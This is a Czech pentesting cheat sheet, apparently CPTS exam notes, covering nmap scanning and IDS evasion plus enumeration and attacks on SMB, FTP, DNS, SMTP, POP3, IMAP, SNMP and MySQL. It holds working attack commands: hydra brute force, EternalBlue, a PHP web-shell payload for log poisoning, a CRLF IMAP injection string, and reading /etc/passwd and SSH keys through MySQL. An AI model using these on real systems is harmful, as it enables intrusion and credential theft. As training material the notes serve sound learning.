

Cheetsheet příkazu

Klíčové parametry pro Host Discovery

Parametr	Popis	Kdy použít?
-sn	Zakáže skenování portů (Ping Scan)	Chceš jen rychle vědět, co v síti běží.
-PE	Vynutí ICMP Echo Request.	Testování, zda firewall propouští ping.
-iL <soubor>	Načte seznam IP adres ze souboru.	Máš pevně definovaný rozsah pro test.
-oA <název>	Uloží výsledek ve všech formátech (nmap, gnmap, xml).	Povinnost pro každého profesionála (dokumentace).
--packet-trace	Ukáže každý odeslaný a přijatý paket.	Když potřebuješ pochopit, proč scan selhává.
--reason	Vypíše důvod, proč je host označen jako "up".	Diagnostika firewallů (např. "arp-response").

Nmap Cheat Sheet: Od průzkumu po exploitaci

Kategorie	Příkaz	Co to dělá?	Kdy to použít?
Host Discovery	nmap -sn <IP/rozsah>	Ping Scan. Vypne skenování portů.	Chceš jen vědět, které stroje v síti běží.
Host Discovery	nmap -PE --disable-arp-ping	Vynutí ICMP (Ping) i v lokální síti.	Simulace útoku zvenčí (přes router).
Skenování portů	nmap -sS <IP>	SYN Scan (Half-open). Velmi rychlý.	Nejlepší výchozí sken pro většinu situací.
Skenování portů	nmap -sT <IP>	Connect Scan. Dokončí handshake	Když nemáš root práva nebo chceš být "slušný".
Skenování portů	nmap -p- <IP>	Skenuje všech 65 535 portů.	Chceš mít jistotu, že ti nic neuniklo.
Skenování portů	nmap -F <IP>	Fast Scan. Skenuje top 100 portů.	Máš málo času a chceš jen to nejdůležitější.
Enumerace	nmap -sV <IP>	Skenování verzí. Identifikuje SW.	Potřebuješ vědět, zda běží Apache, SSH atd.
Enumerace	nmap -sC <IP>	Spustí výchozí NSE skripty.	Chceš automaticky najít zranitelnosti nebo info.
Enumerace	nmap -O <IP>	OS Detection. Odhadne operační systém.	Potřebuješ vědět, zda je cíl Windows nebo Linux.
UDP Sken	nmap -sU <IP>	UDP Scan. Skenuje UDP porty (DNS, DHCP).	TCP scan nic nenašel; hledáš "zadní vrátka".
Agresivní	nmap -A <IP>	Kombinuje -sV -sC -O a traceroute.	Chceš o cíli zjistit úplně vše jedním příkazem.
Diagnostika	nmap --reason <IP>	Vypíše, proč je port open/filtered.	Zkoumáš chování firewallu (např. ICMP error).
Ukládání	nmap -oA <název> <IP>	Uloží výsledek do 3 formátů najednou.	Povinnost pro pozdější analýzu a reporty.

Nmap Evasion Cheat Sheet (Firewall/IDS/IPS)

1- Průzkum pravidel (Co firewall pustí?)

Než začneš útočit, musíš vědět, jak je nastavený vrátný(firewall, IDS/IPS).

Příkaz	Technika	Účel
nmap -sA <IP>	ACK Scan	Zjistí, zda je port filtered (firewall) nebo unfiltered (prošel).
nmap -sV --reason	Reason Analysis	Vypíše přesný důvod (např. reset nebo no-response), proč je port v daném stavu.
nmap -sU -p 53 <IP>	UDP Scan	Testuje, zda jsou otevřené UDP díry (často zapomenuté).

2- Maskování identity (Kdo skenuje?)

Cílem je, aby v logu správce nefigurovala tvoje IP adresa jako jediný viník.

Příkaz	Technika	Účel
-D RND:10	Decoys	Pošle sken z tvé IP + 10 náhodných adres najednou.
-S <IP_Address>	Spoofing	Předstíráš, že sken přichází z jiné (důvěryhodné) IP adresy.
-e <interface>	Interface	Musíš specifikovat síťovku (např. tun0) při spoofování.
--spoof-mac 0	MAC Spoofing	Vygeneruje náhodnou MAC adresu pro lokální síť.

3- Manipulace s pakety (Jak sken vypadá?)

IDS hledají specifické podpisy paketů. Těmito přepínači ty podpisy rozbiješ.

Příkaz	Technika	Účel
-f	Fragmentation	Rozdělí pakety na 8bytové kusy (firewally je hůře čtou).
-mtu <číslo>	Custom MTU	Nastaví vlastní velikost fragmentů (násobek 8).
--data-length <n>	Payload Append	Přidá náhodná data do paketu, aby neměl standardní velikost.
--badsum	Bad Checksum	Pošle paket s chybným kontrolním součtem (firewally ho často ignorují, ale systémy odpovídají).

4- Zneužití důvěry (Odkud to jde?)

Mnoho firewallů automaticky důvěřuje provozu z určitých portů.

Příkaz	Technika	Účel
--source-port 53	DNS Source	Vypadá to jako odpověď z DNS serveru.
--source-port 80	HTTP Source	Vypadá to jako běžný webový provoz.
--source-port 443	HTTPS Source	Vypadá to jako šifrovaný webový provoz.

5- Časování a ticho (Jak rychle?)

IPS systémy tě zablokuji, pokud uvidí moc paketů za krátký čas.

Příkaz	Technika	Účel
-T0 / -T1	Paranoid/Sneaky	Extrémně pomalé. Mezi pakety jsou pauzy v řádu minut.
--scan-delay <t>	Custom Delay	Přidá fixní pauzu (např. 5s) mezi každý odeslaný paket.

Nejlepší "Silent & Stealth" kombinace

Pokud se chceš dostat skrz firewall a nebýt hned zabanován IPS:

BASH

```
sudo nmap -sS -Pn -n -p 80,443 -T1 --source-port 53 -f --data-length 24 <IP>
```

Co to dělá?

- sS**: SYN scan (nenaváže celé spojení).
- Pn -n**: Žádný ping, žádné DNS (žádný zbytečný šum).
- T1**: Velmi pomalé (pod radarem IDS).
- source-port 53**: Předstírá DNS odpověď.
- f**: Rozseká pakety na kousky.
- data-length 24**: Změní velikost paketu, aby nevypadal jako "nmap standard".

Tahák: Principy

Princip	Co si pamatovat
1. Je toho víc, než vidíš.	Pokud port vypadá zavřeně, zkus změnit zdrojový port nebo časování.
2. Rozlišuj viděné a skryté.	Firewall, který něco blokuje, ti o síti říká stejně moc jako otevřený port.
3. Vždy je cesta dál.	Pokud se nepohneš na infrastrukturu, zkus OSINT (lidský faktor).

☐ 6 Vrstev Enumerace (Metodický rozbor)

☐ Vrstva 1: Internet Presence (Kde jsou?)

Tady jsi v roli digitálního detektiva. Hledáš vše, co firma "vlastní" na internetu.

Cíl: Vytvořit seznam IP adres a domén.

Klíčové prvky: Subdomény (často testovací servery jako dev.firma.cz), ASN (čísla autonomních systémů), cloudové instance (S3 buckety).

☐ Vrstva 2: Gateway (Jak se chrání?)

Tady zjišťuješ, co stojí mezi tebou a cílem.

Cíl: Identifikovat firewally, WAF (Web Application Firewall), VPN nebo služby jako Cloudflare.

Proč? Abys vědět, jak moc "tichý" musíš být a zda tvůj sken nekončí jen na ochrance u brány.

☐ Vrstva 3: Accessible Services (Co nabízejí?)

Zde přichází na řadu tvé znalosti Nmapu. Zkoumáš konkrétní otevřené porty.

Cíl: Znat verzi služby (např. Apache 2.4.41) a její účel.

Důležité: Každá služba tam je z nějakého důvodu (web pro lidi, databáze pro aplikaci). Pochopení účelu ti napoví, jaká data v ní mohou být.

☐ Vrstva 4: Processes (Co se tam děje?)

Díváme se hlouběji do fungování služeb. Jaká data se zpracovávají?

Cíl: Identifikovat interakce. Např.: "Tento webový formulář posílá data do interní databáze na jiném portu."

Vztahy: Mapuješ zdroje a cíle dat.

☐ Vrstva 5: Privileges (Kdo to ovládá?)

Každá služba běží pod nějakým uživatelem.

Cíl: Zjistit, zda služba běží jako root/SYSTEM (jackpot!) nebo jako omezený uživatel www-data.

Role: Hledáš chyby v oprávněních (Permissions), které by ti umožnily dělat věci, které bys neměl.

☐ Vrstva 6: OS Setup (Jak je to postavené?)

Poslední vrstva, kdy už máš (často) nějakou formu přístupu a zkoumáš vnitřek stroje.

Cíl: Najít citlivé konfigurační soubory, verze kernelu, síťové nastavení a historii příkazů.

Analýza: Tady poznáš, jestli je admin profík, nebo někdo, kdo nechal heslo v textovém souboru na ploše.

Připojení do (SSH/XFREERDP3)

```
ssh uživatel@IP_ADRESA
```

```
chmod 600 id_rsa ssh -i id_rsa uživatel@IP_ADRESA
```

```
xfreerdp /v:IP_ADRESA /u:uživatel /p:heslo /dynamic-resolution +clipboard
```

SMB

SMB (Server Message Block) – Porty 139, 445

SMB funguje jako **klient-server protokol** určený pro sdílení přístupu k souborům, tiskárnám a sériovým portům.

Jak to funguje (Zjednodušeně)

- **Port 139:** Starší verze běžící nad rozhraním NetBIOS.
- **Port 445:** Moderní verze běžící přímo nad TCP/IP (standard od Windows 2000 výše).
- **Relace:** Klient se připojí, vyjedná verzi protokolu (Dialects), proběhne autentizace (NTLM/Kerberos) a následně získá přístup ke "Shares" (sdíleným složkám).

Fáze 1: Průzkum a Enumerace (Zjišťování)

Cílem je zjistit, co je vidět bez hesla nebo s minimálními právy.

- **Zjištění verze a sdílených složek (Anonymně):** `smbclient -L //10.10.x.x/ -N`
- **Výpis s konkrétním uživatelem:** `smbclient -L //10.10.x.x/ -U jméno_uživatele`
- **Automatizovaný "všeuměl" (uživatelé, skupiny, SIDs, heslová politika):** `enum4linux -a 10.10.x.x`
- **Interaktivní RPC průzkum (pokud funguje anonymní login):** `rpcclient -U "" -N 10.10.x.x` (uvnitř pak zkus enumdomusers nebo querydomaininfo)

Fáze 2: Útok (Exploitate a Post-Exploitate)

Jakmile najdeš cestu dovnitř, můžeš zkusit následující:

A. Neoprávněný přístup (Misconfiguration)

Často jsou složky špatně nastavené a umožňují "Guest" přístup.

- **Připojení ke složce:** `smbclient //10.10.x.x/název_složky -N`
- **Příkazy v promptu:**
 - ls – výpis, cd – pohyb.
 - get soubor.txt – stažení citlivých dat (konfigurace, hesla).
 - put soubor.txt – nahrání (např. reverzní shell, pokud je to webový adresář).

B. Brute Force (Hrubá síla)

Pokud znáš uživatelské jméno, můžeš zkusit hádat heslo (pozor na zablokování účtu!):

- `hydra -l uživatel -P /cesta/k/wordlistu.txt smb://10.10.x.x`

C. SMB Relay útok

Pokud je v síti vypnuté podepisování (SMB Signing: Disabled), můžeš zachytit hash hesla jiného uživatele a "přeposlat" ho na jiný server, čímž se tam přihlásíš jako on.

- **Nástroje:** Responder, ntlmrelayx.py.

D. Známé zranitelnosti (RCE)

Pokud běží starý systém (Windows 7/XP/Server 2008), můžeš zkusit přímé ovládnutí systému:

- **EternalBlue (MS17-010):** Legendární exploit pro vzdálené spuštění kódu.
- V Metasploitu: `use exploit/windows/smb/ms17_010_eternalblue`

Rychlá kontrola zabezpečení:

Co hledáš	Příkaz / Nástroj
Anonymní login	<code>smbclient -L //IP -N</code>
Verze OS/SMB	<code>nmap --script smb-os-discovery IP</code>
Chybějící SMB Signing	<code>nmap --script smb-security-mode IP</code>
Vranitelnosti (MS17-010 atd.)	<code>nmap --script smb-vuln* IP</code>

FTP

FTP (File Transfer Protocol) – Port 21

FTP je klient-server protokol, který je unikátní tím, že používá **dvě oddělená spojení**.

Jak to funguje (Princip)

Na rozdíl od SMB nebo HTTP, FTP rozděluje provoz na:

1. **Řídicí kanál (Port 21):** Tudy posíláš příkazy (ls, get, USER). Zůstává otevřený po celou dobu relace.
2. **Datový kanál (Port 20 nebo náhodný):** Tudy tečou samotná data (obsah souborů). Otevírá se jen ve chvíli, kdy se něco přenáší.

Fáze 1: Průzkum (Enumeration)

Cílem je zjistit verzi serveru (může mít známý exploit) a povolené metody přihlášení.

- **Kontrola anonymity (Nmap):** `nmap --script ftp-anon -p 21 10.10.x.x`
- **Zjištění banneru (verze softwaru):** `nc -nv 10.10.x.x 21` (Netcat ti často vypíše název a verzi serveru, např. *vsFTPd 2.3.4*).

Fáze 2: Útok (Exploitation)

FTP nabízí několik cest k ovládnutí serveru:

A. Špatná konfigurace (Anonymous & Writable)

Největší klasika. Pokud máš právo put do složky, kterou zároveň čte webový server (např. `/var/www/html`), můžeš nahrát **reverse shell**.

- `ftp 10.10.x.x -> uživatel anonymous`
- `put shell.php`
- Spustíš shell přes prohlížeč a máš přístup k serveru.

B. Sniffing (Odposlech hesla)

Protože FTP nešifruje, útočník ve stejné síti vidí tvoje heslo v čistém textu.

- Nástroj: **Wireshark** nebo **tcpdump**.
- Stačí filtrovat provoz: `tcp.port == 21`. Uvidíš příkaz USER jméno a hned pod ním PASS heslo.

C. Brute Force

FTP servery často nemají ochranu proti opakovaným pokusům o přihlášení.

- `hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.x.x`

D. FTP Bounce Attack

Starý typ útoku, kde zneužiješ FTP server jako prostředníka k scanování jiných portů uvnitř sítě (skrze příkaz PORT), čímž obejdeš firewall.

Práce se soubory (Tahák)

Když už jsi vevnitř, pamatuj na tyto režimy:

- **Příkazy:**
 - `ls -a` – vidíš i skryté soubory (např. `.ssh` nebo `.config`).
 - `binary` – **Vždy zapni** pro binární soubory (obrázky, skripty, exe). V ASCII režimu FTP upravuje konce řádků, což ti zničí binárku.
 - `get` / `put` – základní přenos.

Síťová vrstva: Aktivní vs. Pasivní mód

Tohle je nejčastější kámen úrazu u FTP a firewallů:

- **Aktivní mód (PORT):** Klient řekne: „Tady máš můj port, sem mi pošli data.“ Server se pak iniciativně připojuje ke klientovi. (Firewally to často blokují).
- **Pasivní mód (PASV):** Server řekne: „Tady máš náhodný port, připoj se ty ke mně.“ Tohle je dnes standard, protože to prochází přes firewally.
Pozor na historii: FTP je tak děravé, že pokud uvidíš verzi **vsFTPd 2.3.4**, existuje na ni slavný exploit ("Backdoor Command Execution"), kde stačí poslat uživatelské jméno končící smajlíkem :) a server ti otevře root shell na portu 6200.

DNS

🔗 DNS (Domain Name System) – Port 53 (UDP/TCP)

Jak to funguje na síťové vrstvě:

- **UDP 53:** Používá se pro běžné dotazy (rychlost). Klient pošle dotaz "Kde je <https://www.google.com/search?q=google.com?>" a server odpoví IP adresou.
- **TCP 53:** Používá se pro **Zone Transfer (AXFR)** nebo když je odpověď příliš velká (nad 512 bajtů). DNS tvoří hierarchickou strukturu (Root -> TLD -> Domain -> Subdomain).

1. Základní průzkum (Enumerace záznamů)

Příkaz	Popis
<code>dig domain.htb A</code>	Zjistí IPv4 adresu.
<code>dig domain.htb MX</code>	Najde mailové servery.
<code>dig domain.htb NS</code>	Vypíše Nameservery (authority).
<code>dig domain.htb TXT</code>	Důležité: Často zde najdeš flagy, API klíče nebo SPF záznamy
<code>dig ANY domain.htb @10.10.10.x</code>	Pokus o výpis všeho (moderní servery to často blokují).

2. Zone Transfer (AXFR) – Útok na replikaci

Tohle je v podstatě "vysypání celé databáze" DNS serveru. Pokud admin špatně nastavil povolení k přenosu zóny, získáš kompletní mapu sítě.

- **Útok:** `dig axfr domain.htb @10.10.10.x`
- **Proč to funguje:** Protokol DNS umožňuje sekundárním serverům kopírovat celou zónu z primárního. Pokud není omezeno, kdo o to může požádat, server to pošle komukoliv.

3. Reverzní lookup (IP -> Jméno)

Někdy máš IP adresu a chceš vědět, jaká doména k ní patří.

- `dig -x 10.10.10.x @10.10.10.x`
- **Útok (Brute-force IP rozsahu):** Můžeš projít celý rozsah a zjistit jména všech strojů: `for i in {1..254}; do dig -x 10.10.10.$i @10.10.10.x | grep PTR; done`

4. Brute-force subdomén (Když AXFR selže)

Pokud server nedovolí AXFR, musíš jména hádat.

- **Gobuster (v DNS módu):** `gobuster dns -d domain.htb -w /usr/share/wordlists/dirb/common.txt -r 10.10.10.x`
- **V-Host Fuzzing (Klíčové pro HTB):** Někdy DNS záznam neexistuje, ale webový server na dané IP odpovídá na jiné jméno (přes HTTP Header Host). `ffuf -u http://10.10.10.x -H "Host: FUZZ.domain.htb" -w wordlist.txt -fs <velikost_odepovedi>`

5. DNS Spoofing / Poisoning (Síťový útok)

Pokud jsi ve stejné síti (MitM), můžeš oběti podvrhnout falešnou DNS odpověď.

- **Princip:** Oběť se ptá "Kde je banka.cz?". Ty jako útočník odpovíš dřív než skutečný DNS server: "Banka.cz je na mojí IP!".
- **Nástroj:** Ettercap nebo Bettercap.

☐ Co hledat ve výsledcích (Footprinting Checklist)

Když uvidíš tyto názvy, zbystři:

- **dev, test, staging:** Často obsahují ladící (debug) informace a slabá hesla.
- **vpn, firewall, gw:** Cesty do vnitřní sítě.
- **dc, ad, kerberos:** Indikuje přítomnost Active Directory (klíčové pro CPTS).
- **-old, -temp:** Zapomenuté, neaktualizované systémy.

SMTP

☐ SMTP (Simple Mail Transfer Protocol) – Porty 25, 465, 587

Jak to funguje na síťové vrstvě: SMTP běží nad **TCP**. Je to textový protokol (podobně jako HTTP nebo FTP), což znamená, že pokud není šifrovaný (přes STARTTLS nebo SSL), můžeš celou komunikaci i obsah e-mailů číst ve Wiresharku.

- **Port 25:** Původní port pro přenos mezi servery (často bez šifrování).
- **Port 587:** Moderní port pro odesílání pošty klientem (vyžaduje TLS).
- **Port 465:** Starší verze SMTP nad SSL.

1. Footprinting (User Enumeration)

Tady hledáš, kdo na serveru „bydlí“. SMTP servery mají v sobě zabudované příkazy, které ti (pokud nejsou zakázané) přímo řeknou, jestli uživatel existuje.

Příkaz	Význam	Co hledat v odpovědi
VERFY	Verify	250 2.1.5 User exists nebo 550 No such user.
EXPN	Expand	Ukáže e-maily skryté za skupinou (např. co všechno patří pod admin@firma.cz).
RCPT TO	Recipient	I když je VRFY vypnuté, server ti odpoví chybou, až když se pokusíš poslat mail neexistujícímu člověku.

2. Manuální průzkum (Banner Grabbing)

První věc, kterou uděláš, je, že se na port „podíváš“ pomocí Netcatu nebo Telnetu: `nc -nv 10.129.x.x 25` Server ti vyplivne **Banner** (např. 220 mail.htb ESMTP Postfix (Ubuntu)). Teď už víš, že je to Linux a jaký software tam běží.

3. Automatizace (Klíčové pro CPTS)

Když máš seznam 500 potenciálních jmen, nebudeš je VRFYovat ručně:

- **Smtp-user-enum (Nejlepší volba):** `smtp-user-enum -M VRFY -U usernames.txt -t 10.129.x.x` (Pokud VRFY nefunguje, zkus -M RCPT).
- **Metasploit modul:** `use auxiliary/scanner/smtp/smtp_enum`

4. Útoky (Co s tím dál)

A. Open Relay (Zneužití k rozesílání spamu)

Pokud je server špatně nastavený, dovolí komukoliv poslat mail kamkoliv (nejen do vnitřní sítě). Toho se využívá k phishingu, který vypadá, že jde z legitimního serveru.

- Test: `nmap -p 25 --script smtp-open-relay 10.129.x.x`

B. SMTP Mail Spoofing

Protože SMTP (bez dalších doplňků jako SPF/DKIM) neověřuje identitu odesílatele, můžeš se v rámci vnitřní sítě vydávat za kohokoliv (např. za administrátora):
MAIL FROM:<admin@firma.cz> RCPT TO:<obet@firma.cz> DATA Subject: Nutná změna hesla Klikni sem... .

C. Log Poisoning (Cesta k RCE)

Tohle je pokročilá technika. Pokud na serveru běží webová aplikace, která má chybu typu **LFI** (Local File Inclusion) a ty dokážeš přečíst SMTP logy (`/var/log/mail.log`), můžeš do mailu poslat PHP kód.

1. Pošleš mail, kde v těle bude: `<?php system($_GET['cmd']); ?>`.
2. Přes LFI v prohlížeči načteš tenhle log.
3. Máš Remote Code Execution (RCE).

POP3/POP3S

❑ POP3 / POP3S (Post Office Protocol) – Porty 110, 995

Jak to funguje na síťové vrstvě: POP3 je TCP protokol určený k jednosměrnému stahování pošty ze serveru k uživateli. Na rozdíl od IMAPu je "hloupý" – standardně se připojíš, stáhneš poštu a spojení se ukončí.

- **Port 110:** Nešifrovaný textový přenos.
- **Port 995:** POP3S (POP3 přes TLS/SSL).

1. Footprinting (Připojení a Průzkum)

Než začneš zadávat příkazy, musíš vědět, jak se tam "vloupat" (technicky):

- **Nešifrovaný port 110:** `nc -nv 10.129.x.x 110`
- **Šifrovaný port 995:** `openssl s_client -connect 10.129.x.x:995 -crlf -quiet`

2. Práce v promptu (Tahák příkazů)

Příkaz	Význam	Poznámka
USER jméno	Jméno	Server odpoví +OK.
PASS heslo	Heslo	Po tomto příkazu jsi "v transakci".
STAT	Status	Ukáže: +OK <počet_zprávy> <celková_velikost>.
LIST	Seznam	Vypíše ID zpráv a jejich velikost.
RETR 1	Retrieve	Stáhne zprávu č. 1. Tady hledáš flagy!
TOP 1 10	Top	Ukáže hlavičku a prvních 10 řádků zprávy 1.
CAPA	Capability	Ukáže, co server umí (např. metody šifrování).
DELE 1	Delete	Označí zprávu ke smazání (smaže se po QUIT).
QUIT	Konec	Uloží změny a odpojí tě.

3. Útoky (Metodika pro CPTS)

A. Sniffing (Odposlech)

Stejně jako u FTP a Telnetu, i u POP3 na portu 110 **létají hesla v čistém textu**. Pokud jsi v síti a někdo se přihlašuje k mailu, máš ho.

- Ve Wiresharku filtruj: `pop nebo tcp.port == 110`.

B. Brute Force

Protože k POP3 potřebuješ jen USER a PASS, je to ideální cíl pro Hydru.

- `hydra -l user -P passwords.txt 10.129.x.x pop3`

C. User Enumeration (Timing Attack)

Někdy server odpoví na USER bleskově, pokud uživatel neexistuje, ale o milisekundu déle, pokud existuje (protože kontroluje existenci schránky). Moderní servery jsou proti tomu ale většinou imunní a vždy odpovídají +OK.

❑ Footprinting Checklist pro POP3:

1. [] **Banner:** Co je to za server (např. *Dovecot*, *Microsoft Exchange*)?
2. [] **Šifrování:** Podporuje server šifrování (STLS v příkazu CAPA)?
3. [] **Obsah:** Jsou v e-mailech hesla k dalším službám nebo vnitropodnikové instrukce?
4. [] **Kombinace:** Sedí heslo z POP3 i na SSH nebo SMB? (Uživatelé recyklují hesla!)

IMAP/IMAPS

□ IMAP / IMAPS (Internet Message Access Protocol) – Porty 143, 993

Jak to funguje na síťové vrstvě: IMAP běží nad TCP. Jeho unikátní vlastností je použití **značek (tags)** (např. A1, A2). Klient každému příkazu přiřadí unikátní ID a server mu se stejným ID odpoví. To umožňuje klientovi poslat více dotazů najednou, aniž by musel čekat na odpověď toho předchozího.

- **Port 143:** Nešifrovaný textový přenos (často lze povýšit na šifrovaný pomocí příkazu STARTTLS).
- **Port 993:** IMAPS (IMAP přes SSL/TLS).

1. Footprinting (Připojení a Průzkum)

Stejně jako u ostatních, nejdřív zjišťujeme, co je server zač:

- **Připojení (Nešifrované):** `nc -nv 10.129.x.x 143`
- **Připojení (Šifrované):** `openssl s_client -connect 10.129.x.x:993 -quiet`

2. Práce v promptu (Tahák příkazů)

U IMAPu musíš před každý příkaz napsat nějaký řetězec (značku), například abc1.

Příkaz	Význam	Poznámka
A1 LOGIN user pass	Přihlášení	Server odpoví A1 OK Login completed.
A2 LIST "" *	Výčet složek	Klíčové: Hledej složky jako Backup, Passwords nebo Shared.
A3 SELECT INBOX	Výběr složky	Otevře schránku pro čtení.
A4 EXAMINE INBOX	Jen pro čtení	Podobné jako SELECT, ale nemění stav zpráv (např. "přečteno").
A5 FETCH 1:5 (BODY.PEEK[])	Čtení zpráv	Vypíše obsah zpráv 1 až 5 (PEEK nezmění stav na "přečteno").
A6 LOGOUT	Odhlášení	Ukončení relace.

útoky na IMAP (Post-Enumeration)

1. Exploity na specifické verze (RCE)

Při footprintingu vždycky hledej verzi v banneru. Některé starší verze IMAP serverů (např. **UW-IMAP**) měly kritické chyby typu **Buffer Overflow**.

- **Jak na to:** Pokud uvidíš starý banner, použij searchsploit imap.
- **Příklad:** searchsploit "UW-IMAP". Pokud najdeš exploit, často ti umožní získat rovnou Remote Code Execution (RCE) pod právy uživatele mail nebo root.

2. IMAP Injection (Útok na webovou aplikaci)

Tohle je častý scénář v CPTS. Webová aplikace (např. webmail nebo kontaktní formulář) komunikuje s IMAP serverem na pozadí. Pokud špatně ošetřuje vstupy, můžeš "vstříknout" vlastní příkazy.

- **Princip:** Do pole pro uživatelské jméno v prohlížeči zadáš něco jako: `test"%0d%0aA1 LOGIN admin heslo%0d%0a"`
- **Výsledek:** %0d%0a je v kódování URL "nový řádek" (CRLF). Webová aplikace pošle serveru tvůj příkaz jako samostatný řádek a ty se můžeš přihlásit jako někdo jiný bez znalosti původního hesla aplikace.

3. Log Poisoning (Cesta k Shellu)

Pokud najdeš na webu chybu **LFI** (Local File Inclusion), můžeš se pokusit "otrávit" IMAP logy.

- **Krok 1:** Připoj se k IMAPu a jako uživatelské jméno zadej PHP kód: `A1 LOGIN "<?php system($_GET['cmd']); ?>" password`
- **Krok 2:** Server zapíše do /var/log/mail.log nebo /var/log/dovecot.info, že se uživatel s tímto (šíleným) jménem pokusil o přihlášení.
- **Krok 3:** Přes LFI v prohlížeči zavolej tenhle log: <http://10.129.x.x/index.php?page=/var/log/mail.log&cmd=id>
- **Výsledek:** Webový server vykoná PHP kód uložený v logu a ty máš vzdálený přístup k příkazové řádce.

4. Password Spraying & Credential Stuffing

Místo hádání milionu hesel pro jednoho uživatele (což tě zablokuje), zkusíš jedno velmi časté heslo (např. Winter2023!) pro všechny uživatele, které jsi našel přes SMTP nebo SMB.

- **Nástroj:** `crackmapexec imap 10.129.x.x -u users.txt -p 'Winter2023!'`
- **Proč IMAP?** Protože admini často zapomínají nastavit u IMAPu stejné limity pro blokování jako u hlavního Windows loginu.

5. Man-in-the-Middle (MITM) & SSL Stripping

Pokud narazíš na port 143 a server podporuje STARTTLS, můžeš zkusit útok, který donutí klienta nepoužít šifrování.

- **Princip:** Jako útočník uprostřed sítě (ARP Spoofing) zachytíš odpověď serveru CAPABILITY a odstraníš z ní řetězec STARTTLS.
- **Výsledek:** E-mailový klient (třeba Outlook nebo Thunderbird) si myslí, že server šifrování neumí, a pošle heslo i mail v čistém textu, který si ty přečteš.

6. Exploatace sdílených složek (ACL Abuse)

IMAP umožňuje nastavovat práva (ACL) na složky. Pokud je špatná konfigurace, můžeš si jako běžný uživatel nastavit práva k cizí schránce.

- **Příkaz:** `A1 SETACL "user/admin" "user" lrsnipcda`
- **Výsledek:** Pokud máš právo měnit ACL, přidělíš si plný přístup k mailům administrátora.

SNMP

SNMP (Simple Network Management Protocol) – Port 161 (UDP)

Jak to funguje na síťové vrstvě: SNMP běží nad UDP. Je to protokol typu dotaz-odpověď. Klient (manažer) posílá dotazy na specifické objekty definované pomocí OID (číselné identifikátory).

- **v1 a v2c:** Přenáší data i "heslo" (**Community String**) v čistém textu. Jsou nejčastějším cílem útoků.
- **v3:** Přidává šifrování a silnější autentizaci.

1. Průzkum a Brute Force (Hráz Community Stringu)

Bez správného "community stringu" (v1/v2c) ti server neodpoví. Funguje to jako heslo.

Nástroj	Příkaz
onesixone	<code>onesixone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP></code>
nmap	<code>nmap -sU -p 161 --script snmp-brute <IP></code>
Metasploit	<code>use auxiliary/scanner/snmp/snmp_login</code>

2. Enumerace (Získávání informací)

Jakmile máš string (např. public), začni těžit data.

- **SNMP-Check (Nejpřehlednější výstup):** `snmp-check -t <IP> -c <community>` (Vypíše krásně tabulky procesů, uživatelů, síťových rozhraní a softwaru).
- **Braa (Masivní scan):** Pokud máš víc cílů, **braa** je extrémně rychlá. `braa <community>@<IP>:.1.3.6.1.2.1.1.0`

3. Detailní analýza (snmpwalk)

Když automatické nástroje selžou, musíš jít po **OID stromu**.

- **Vysát úplně všechno:** `snmpwalk -v2c -c <community> <IP>`.
- **Hledání hesel v parametrech:** `snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.4.2.1.5` (Tady uvidíš, s jakými parametry byly spuštěny procesy – např. `backup.sh --password "TajneHeslo123"`).

4. Útoky (Detailní rozbor pro CPTS)

A. RCE přes SNMP "Extend" (Zlatý důl)

Pokud máš **Write** přístup (community string private nebo jiný s právy zápisu), můžeš na serveru spustit vlastní kód.

1. Pomocí `snmpset` přidáš nový záznam do tabulky `nsExtendObjects`.
2. Přinutíš server spustit tvůj skript/příkaz (např. `reverse shell`).
3. **Nástroj:** **NET-SNMP** balík příkazů.

B. Únik informací z vnitřní sítě

SNMP ti prozradí **Routing Table** (směrovací tabulku).

- **OID:** `1.3.6.1.2.1.4.21`
- **Cíl:** Zjistíš, zda má stroj druhou síťovou kartu do vnitřní (privátní) sítě, o které jsi nevěděl. To je klíč pro **Pivoting**.

C. Sniffing Community Stringu

Pokud jsi v síti, kde probíhá SNMP komunikace (v1/v2c), stačí Wireshark.

- **Filtr:** `snmp`
- **Co hledat:** V každém paketu uvidíš pole `community`. Pokud admin používá monitorovací nástroj, string zachytíš během pár sekund.

D. Bruteforce SNMP v3

U verze 3 už nestačí jen string, potřebuješ jméno a heslo (často s MD5/SHA a DES/AES).

- **Nástroj:** `nmap --script snmp-brute --script-args snmp-brute.version=v3 <IP>`

☐ Footprinting Checklist pro SNMP:

1. [] **Community String:** Je to `public`, `private`, `manager` nebo něco z wordlistu?
2. [] **Procesy:** Běží tam něco zajímavého? (Database, custom skripty, webservery).
3. [] **Software:** Jaké jsou verze nainstalovaných balíčků? (Hledej exploity pro dané verze).
4. [] **Sítě:** Má stroj víc IP adres?
5. [] **Uživatelé:** Seznam lokálních uživatelů pro následný útok na SSH/SMB.

MySQL & MariaDB

MySQL & MariaDB – Port 3306

Jak to funguje na síťové vrstvě: MySQL běží nad TCP. Komunikace začíná handshake paketem, kde server pošle svou verzi a náhodný řetězec (salt) pro šifrování hesla. Data se přenášejí v binárním formátu MySQL protokolu. Pokud není vynuceno SSL, lze dotazy i odpovědi (včetně dat) odposlechnout v síti.

1. Průzkum zvenčí (Nmap Enumerace)

Před útokem musíš vědět, jestli tě server vůbec pustí k pokusům o přihlášení (může mít nastavený IP whitelist).

- **Komplexní scan:** `sudo nmap -sV -sC -p 3306 --script mysql-empty-password,mysql-info,mysql-users,mysql-databases <IP>`
- **Identifikace:** Sleduj verzi. Starší verze (např. před 5.5.x) mají často známé exploity na obcházení autentizace.

2. Připojení k databázi

Situace	Příkaz
Vzdálený login	<code>mysql -h <IP> -u <user> -p</code>
Bez hesla	<code>mysql -h <IP> -u root</code>
Provedení příkazu rovnou	<code>mysql -h <IP> -u root -e 'SHOW DATABASES;'</code>

3. Útoky a pokročilé techniky (Detailně pro CPTS)

A. Brute Force (Hrubá síla)

MySQL často nemá ochranu proti zahlcení požadavky, takže lze zkoušet tisíce hesel.

- **Nástroj:** `hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://<IP>`

B. SQL Injection (SQLi) do souborového systému

Tohle je v CPTS "killer feature". Pokud má uživatel právo **FILE**, můžeš interagovat s operačním systémem přímo přes SQL dotazy.

1. **Čtení souborů (LFI):** `SELECT LOAD_FILE('/etc/passwd');` (Můžeš takhle ukrást třeba `/home/user/.ssh/id_rsa` nebo `/var/www/html/config.php`).
